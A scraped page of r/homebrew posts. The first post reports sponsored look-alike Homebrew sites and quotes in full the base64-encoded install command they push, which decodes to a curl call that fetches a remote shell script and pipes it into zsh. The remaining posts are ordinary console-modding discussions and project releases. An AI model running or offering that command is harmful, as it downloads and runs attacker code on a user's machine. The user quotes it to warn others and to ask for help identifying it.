r/homebrew

Google search result for homebrew - what is that?

I wanted to install homebrew on a fresh MacOs installation. I simply searched for "homebrew" in the google and the first result (sponsored one) redirected me to the page "allbeachtravel.com" that looks very similar to the original homebrew site.
After that I searched for "homebrew install" and I was redirected to "storageprofiler.com" and it also looks very similar to the previous one.

In both there is a command you can probably install homebrew like this:
"echo 'ZXhwb3J0IF9jYWNoZV9peD0zMmFmYmFhZCBTVEFHRV90cz1vbjtjdXJsIC1mc1MgImh0dHBzOi8vdm95YWdlNzAuY29tL2N1cmwvYXJ0Z2hudGtuL21hYy5zaCJ8IHpzaA==' |base64 -D| zsh"

the base64 encoded string is:
export _cache_ix=32afbaad STAGE_ts=on;curl -fsS "https://voyage70.com/curl/artghntkn/mac.sh"| zsh

What the heck is even that?

Any ideas?

reddit.com
u/verothus — 20 hours ago

[3ds] what should I do from here

so i was following the guide to mod my 3ds and honestly I don't know what to do now

u/jondrette__girl — 23 hours ago
▲ 15 r/homebrew+3 crossposts

The Curse of Issyos for Mega Drive looks incredible! New 2026 Homebrew project.

Hi everyone! Just wanted to share this footage of 'The Curse of Issyos', a new homebrew project coming to the Mega Drive in 2026. The quality and the music are top-notch for our beloved console. What do you think about this new wave of 16-bit homebrews?

You can check the gameplay here: https://youtu.be/-2LWwm3e9Xg

I'd love to hear your thoughts on it!"

¡Hola a todos! Solo quería compartir este metraje de 'The Curse of Issyos', un nuevo proyecto homebrew que llegará a Mega Drive en 2026. La calidad y la música son de primer nivel para nuestra querida consola. ¿Qué os parece esta nueva ola de homebrews de 16 bits? Podéis ver el gameplay aquí: [Enlace]. ¡Me encantaría saber qué opináis!

u/RZGamesES — 2 days ago

Folder glitch Wii

Every time that I try to import a folder that isn’t an emulator onto the SD Card I use for my Wii’s home brew menu it ends up doing this and the files become useless does anyone know what it is or how to fix it?

u/Holiday_Resist_5122 — 3 days ago

Is a 2GB SD Card big enough for modding my Old Nintendo 3Ds XL?

I'm very new to this whole modding thing, but I really want to play more games on my old 3DS. I am a broke college kid, so I don't want to spend all that money on games. I was gonna get a new card, but I found a 2GB SD Card already in my 3Ds, must have come with it when I bought it used many, many years ago. Is this SD Card big enough? I keep seeing ppl say to have a minimum of a 2GB card, but I am planning on emulating games onto my 3Ds (sorry if that's not proper wording, like I said I barely know what I'm talking about). Will I need a bigger SD card to transfer games over? Do the games stay on the SD card, or are they put onto the system storage? I just want to make sure I do this right. Terrified of bricking this thing.

reddit.com
u/MorgzDaGreat — 3 days ago

Wii crashing with trying to use 2TB HDD

I’m trying to use this 2tb HDD that I bought the other day. I formatted it to fat32 and I’m pretty sure I converted it into MBR too. I bought a Y cable for it and I have the main USB plugged into the right USB port of my Wii and the other one plugged into a USB power brick that is 60w. Whenever I try to load any game off my HDD with almost any app (with the exception of Nintendont) it either crashes or shows me this really glitchy square. Here is the screen for when it crashes, and if anybody wants a picture of the other way it crashes, please ask. I spent about 100 dollars on this HDD and any help would be VERY appreciated! You can reach out to me in DMs or on here if you’re willing to try to help me out. Please I’m begging, it took me a very long time to set up and receive this HDD and I saved up a lot of money for it. Thank you so much for your time.

u/Gloomy_Exit9312 — 5 days ago
▲ 128 r/homebrew+2 crossposts

Proof-of-Concept PS2 Jellyfin Client

I've been working on an experimental Jellyfin client for the PlayStation 2 called "Jam N' Jelly"! I finally have enough of it working that I thought it was worth sharing! My dad recently started messing around with Jellyfin, and I thought it would be interesting if I could get Jellyfin running on PS2. The repository is currently private, but as I get more features implemented I plan on eventually making the project open-source on GitHub. At the moment, it only runs under PCSX2 because it relies on the "host:" filesystem tags but I have been working on streaming video data over TCP. It's been incredibly difficult to configure PCSX2 for TCP networking on my VM, so I'm probably going to use ps2client for future testing on hardware.

The project currently has a Netflix-style media browser with posters, banners, detail pages, search, and an on-screen keyboard, along with a custom video playback pipeline that runs entirely in software. It uses a custom LVID video codec designed specifically around the PS2’s hardware limitations, including support for playing video files while they’re still being encoded. The player uses double-buffered software framebuffers, dirty-tile rendering to reduce GS/VRAM transfers, and IMA ADPCM audio playback through the IOP. There’s also a custom font and texture asset pipeline.

How it Works

The PS2 does not have any hardware H.264/H.265 decoder, and trying to decode modern codecs directly on the hardware was pretty much a dead-end. So instead of trying to port something older like MPEG2, I decided to write my own codec that was built around the quirks of the PS2.

.LVID uses:

- YCbCr 4:2:0

- Quadtree tiling ~ Areas that are largely static use larger rectangles to use less file-space, whereas tiles that move or have new color data often use smaller rectangles to adjust the colors easier and make details more visible

- Motion prediction

- LZ4 Compression

- YCbCr to RGB via CLUTs

- AdPCM Audio

I'm also currently working on taking advantage of VU0 in COP2 mode to help with the decompression of frame data (hopefully this will take some load off of the EE).

Most of the expensive work happens on the PC/server side during the encoding process. The PS2 is intentionally dead simple so it can be as fast as possible. Basically, it just: decompresses, apply motion data, reconstruct the frame data, push changed tiles to GS. One of the biggest wins with the LVID file is the --streaming flag. With this flag enabled, the encoder will write to the LVID file as the PS2 is actively playing it. The PS2 periodically checks the frame table for newly encoded frames and continue playback as new frames come available. In the video at 1:45, you can see this because pressing the "skip to end" button only jumps to 03:07 / 10:34 in the video. All of this is able to fit into the 32 MB of system memory, alongside the application, textures, framebuffers, audio buffers, etc.

>Note: Audio data is converted at the same time as frame data, and fed directly to the SPU

Release Date

The project is still very experimental. The core media pipeline and GUI work at a basic level, but it currently lacks the visual polish that I want it to be at. Moreover, I have only tested using a python http server, and have not interfaced with an actual jellyfin server yet. Right now I am primarily working out how the PS2 can actually handle the media side of the project before building out the rest of the client. I do eventually plan on supporting music playback in the client as well.

I want to finish the project before December 2026, but I will see how realistic that deadline is once I start University. If anyone has any feedback or ideas for the project, feel free to comment! I am fully open to new ideas and additions!

Current Ideas

- LRU Cache for "Recently Watched" movies

- Support a YT-Music style audio playback engine

- Jellyfin CSS styling converter

GUI

If you want to see what plans I have for the GUI, take a look at the Figma project!

Credits

A lot of the updated GUI theming is heavily based on the PSL1GHT JellyFin client on GitHub.

u/LandenTy — 5 days ago
▲ 18 r/homebrew+1 crossposts

[Release] ACNH Save Editor v1.0.0 - Native Switch homebrew save editor

UPDATE (v1.1): A full graphical UI update is out now! See my reply below for the new download link.

### [RELEASE] ACNH Save Editor - Native Switch Homebrew Save Editor

Hey everyone! I’m excited to share the first public release of **ACNH Save Editor**, a native Nintendo Switch homebrew save editor for *Animal Crossing: New Horizons*.

Unlike older tools, this runs entirely on your console—meaning **no PC is needed** to modify your game! This started as an educational project built with devkitPro/libnx.

** UPDATED GitHub Repository & Download:** https://github.com/cbreezy210/acnh-save-editor/releases/tag/v1.3.0

---

###  Features
* **Direct NAND Access:** Reads and writes the live save data directly from and to your console's NAND. No manual dumping required!
* **Economy Editing:** Edits your Wallet and Bank Bells directly (handles encrypted ints and heals Murmur3 hashes automatically).
* **Pocket Item Injector:** Features a full English item-name lookup using the `items.txt` database from NHSE.
* **Safety First:** Performs an automatic SD card backup before every single NAND write to prevent data loss.

---

###  How to Install & Run

  1. Create a folder named `acnh_editor` inside the `switch` folder on your SD card (i.e., `sdmc:/switch/acnh_editor/`).
  2. Download and place both `acnh_editor.nro` and `items.txt` inside that folder.
  3. On your Switch Home Menu, highlight *Animal Crossing: New Horizons*, press **X**, and select **Close** to ensure the game isn't running.
  4. Launch a title while holding **R** to enter the Homebrew Menu with full RAM access.
  5. Select **ACNH Save Editor** and enjoy!

*Disclaimer: Even with the automatic SD backup feature, it is always good practice to keep an extra copy of your saves safe. Please report any bugs directly on the GitHub Issues page!*

u/cbreezy210 — 4 days ago
▲ 1.0k r/homebrew+2 crossposts

GTA Vice City ported to the Wii! (another port)

I MADE A GTA VICE CITY PORT FOR THE Wii!!

The GX renderer was made completely from scratch. The Wii U version was used as a base (so I wouldn’t have to deal with endianness), and multiple optimizations were applied, mostly GX-related.

I also recorded it on VHS (the best one I have).

u/OptiJuegos — 7 days ago

(New 3DS, New 3DS XL) No doubt a dumb question -- GBA multiplayer functionality via open_agb_firm/mGBA? (Or link cable simulation)

Hi all, this is probably a dumb question since I'm aware you needed a link cable or wireless link cable in order to trade/play with others in the GBA pokemon games. That being said, both my partner and I have Pokemon Emerald on our 3DSes (via open_agb_firm and mGBA) and i'd love to figure out how to trade/battle with them. is this at all possible using open_agb_firm or mGBA?

EDIT: Okay, there is a way of enabling GBA multiplayer on a 3DS console, but you have to use RetroArch instead of mGBA or open_agb_firm. I've detailed the steps below in case this helps anyone else.

SOME NOTES WRT EMERALD: It's really not perfect. Trying to talk to the PC host as a 3DS player first will crash the 3DS game, for example -- the PC host should be the one to initiate interactions in the Union Room. There also appears to be some disconnect where if you decline the chat as the 3DS user, the PC host will not be kicked from the chat until they voluntarily exit. I am really not sure battles work, but it could be an issue to do with the fact I am playing with two different versions of my save file. Trading in the Union Room does work, but the PC must be the one to initiate. I dont think the Wireless Club will work sadly, both battling and trading seems to result in a disconnect. again, this could be a trainer ID issue, so ymmv. The same goes for the battle tower. ): It could be that these issues only pop up when trying to play between a 3DS and a PC, but unfortunately I do not have 2 new 3DSes to test.

Download the RetroArch emulator on your PC. You will need to host the server on your PC, as the option does not appear to work on the 3DS. From the main menu, go to Load Core>Download a Core>Nintendo - Game Boy Advance (gpSP).

Return to the main menu. Go to Netplay>Host. TURN ON USE RELAY SERVER. I also turned on Allow Slave-Mode Clients just in case. You can set a password if you'd like. Select 'Start Netplay Host' and you will be prompted to return to the main menu.

On the main menu, select 'Load Content' and select the rom you'd like to play.

If you have an existing save you would like RetroArch to use with the rom, go to your RetroArch saves folder in your computer. To find out where this is, go to Settings in the left menu>Directory>Save Files. Make a copy of your save to put in the save folder and change the filetype to .srm. THE NAME OF YOUR SAVE MUST BE THE SAME AS THE NAME OF YOUR ROM. If you want to know what you should name your save file, boot your game in RetroArch, quit, open the save folder, copy the name of the .srm file RetroArch automatically made in the folder, delete it, and copy and paste the name onto your save file you'd like to use.

Run the game. Check this website (http://lobby.libretro.com/) to see if your server is running. If not, quit the game, go to Start Netplay Host and open the game again. This worked for me for whatever reason.

Now onto the 3DS. Unfortunately this doesn't seem to work on the old 3DS, just the new one. I will need to troubleshoot more and see if I can get it working.

Follow the RetroArch installation guide (https://wiki.hacks.guide/wiki/3DS:RetroArch). You will need the gpSP core, just like on your pc.

If you have a save you would like to load with your rom on RetroArch, you will need to go to your 3DS sd root>RetroArch>Cores>Saves. Repeat the stops from before regarding renaming your file to an .srm. This should be done on your computer.

After launching RetroArch on your 3DS, go to Settings>User interface>Menu Item Visibility>Show 'Netplay.' Turn netplay on and return to the main menu. You should now see Netplay as a menu option.

Go to Netplay>Refresh Netplay Host List. You should see your server among the list of servers (You may have to hold on it and wait for the scrolling information on the bottom of the screen to be sure.) Hit confirm on the server name (mine is the b button for some reason) and you'll join the server.

reddit.com
u/henway6 — 5 days ago
▲ 12 r/homebrew+2 crossposts

Implementing CafeOS coreinit on libnx

Been implementing Cafe OS coreinit on libnx (mutexes, condvars, threads and time) so far, 11 tests passing on hardware. The idea is a runtime for native Wii U → Switch ports, since DolRecomp handles CPU code but ships no runtime.

https://github.com/gabryboy12-ai/coreinit-nx

u/LoScannaSquali — 6 days ago

Emulation preferences

Hello! I’m in a pickle: I would like opinions on whether you prefer psp or old 3ds xl for emulation of older nintendo consoles (and why). Can’t decide where to emulate nes, snes, gb, gbc and gba. I feel like there’s an internet consensus on psp for gba, but I couldn’t find much for the other consoles.

reddit.com
u/Astowell25 — 7 days ago

So, pokemon bank is closing. Will the switch lite be hackable…

… without the use of soldering? So some people like ya girl don’t exactly have those talents LMAO

Essentially it’s closing on Feb 26 of next year. The only way, right now, after that, to transfer your pokemon from 3DS to switch is via having one hacked switch and one non hacked switch. However as far as I know, the only hackable switch 1 type is the original before patches.

Are there people looking into being able to hack the other switch 1 types without people having to learn how to solder or are we boned past 2/26?

reddit.com
u/ungranted_wish — 8 days ago
▲ 22 r/homebrew+1 crossposts

Could this arcade cabinet be homebrewed?

It's one of those commercial cabinets you see sold in store.

u/TheGweenDeku905 — 11 days ago
▲ 17 r/homebrew+1 crossposts

[Homebrew] GCMM-EX v1.0.0 Alpha – a modern GameCube/Wii memory card manager with exFAT support

Hi!

I've been working on a new homebrew project called GCMM-EX, and I've just released the first public alpha.

GCMM-EX is a GameCube memory card manager for GameCube and Wii, built on the proven low-level memory card code from GCMM, but with a completely redesigned interface, navigation model and workflow.

My goal was to make managing real GameCube memory cards feel a bit more modern and straightforward while keeping compatibility with actual hardware.

Some of the current features

  • Backup and restore individual saves
  • Copy and move saves between Slot A and Slot B
  • Batch save deletion
  • GCI backup and GCI / GCS / SAV restore
  • Full memory card backups
  • RAW / GCP / MCI image restore
  • Save banners and animated icons
  • Support for protected saves such as F-Zero GX and Phantasy Star Online
  • GameCube controller, Wii Remote and Classic Controller support
  • SD / SD Gecko / SD2SP2 / USB / GC Loader support
  • FAT12 / FAT16 / FAT32 / exFAT support through libdvm

The UI was rebuilt around task-oriented workflows, with progress screens, confirmations for destructive operations, save previews and easier storage-device selection.

There are builds for both GameCube and Wii.

This is still an alpha, so I'd really appreciate testing and feedback — especially from people using real memory cards and different storage setups.

Download / release:
https://github.com/alexishida/gcmm-ex/releases/tag/V1.0.0_alpha

Source code:
https://github.com/alexishida/gcmm-ex

GCMM-EX reuses important technical code from the original GCMM by suloku, which itself builds on work from dsbomb, justb, Askot and many other contributors. Their work and credits are preserved in the project.

If anyone here gives it a try on real hardware, I'd love to hear what setup you're using and whether you run into any issues.

Screenshots are in the GitHub repository as well.

Thanks!

u/nbsuicida — 10 days ago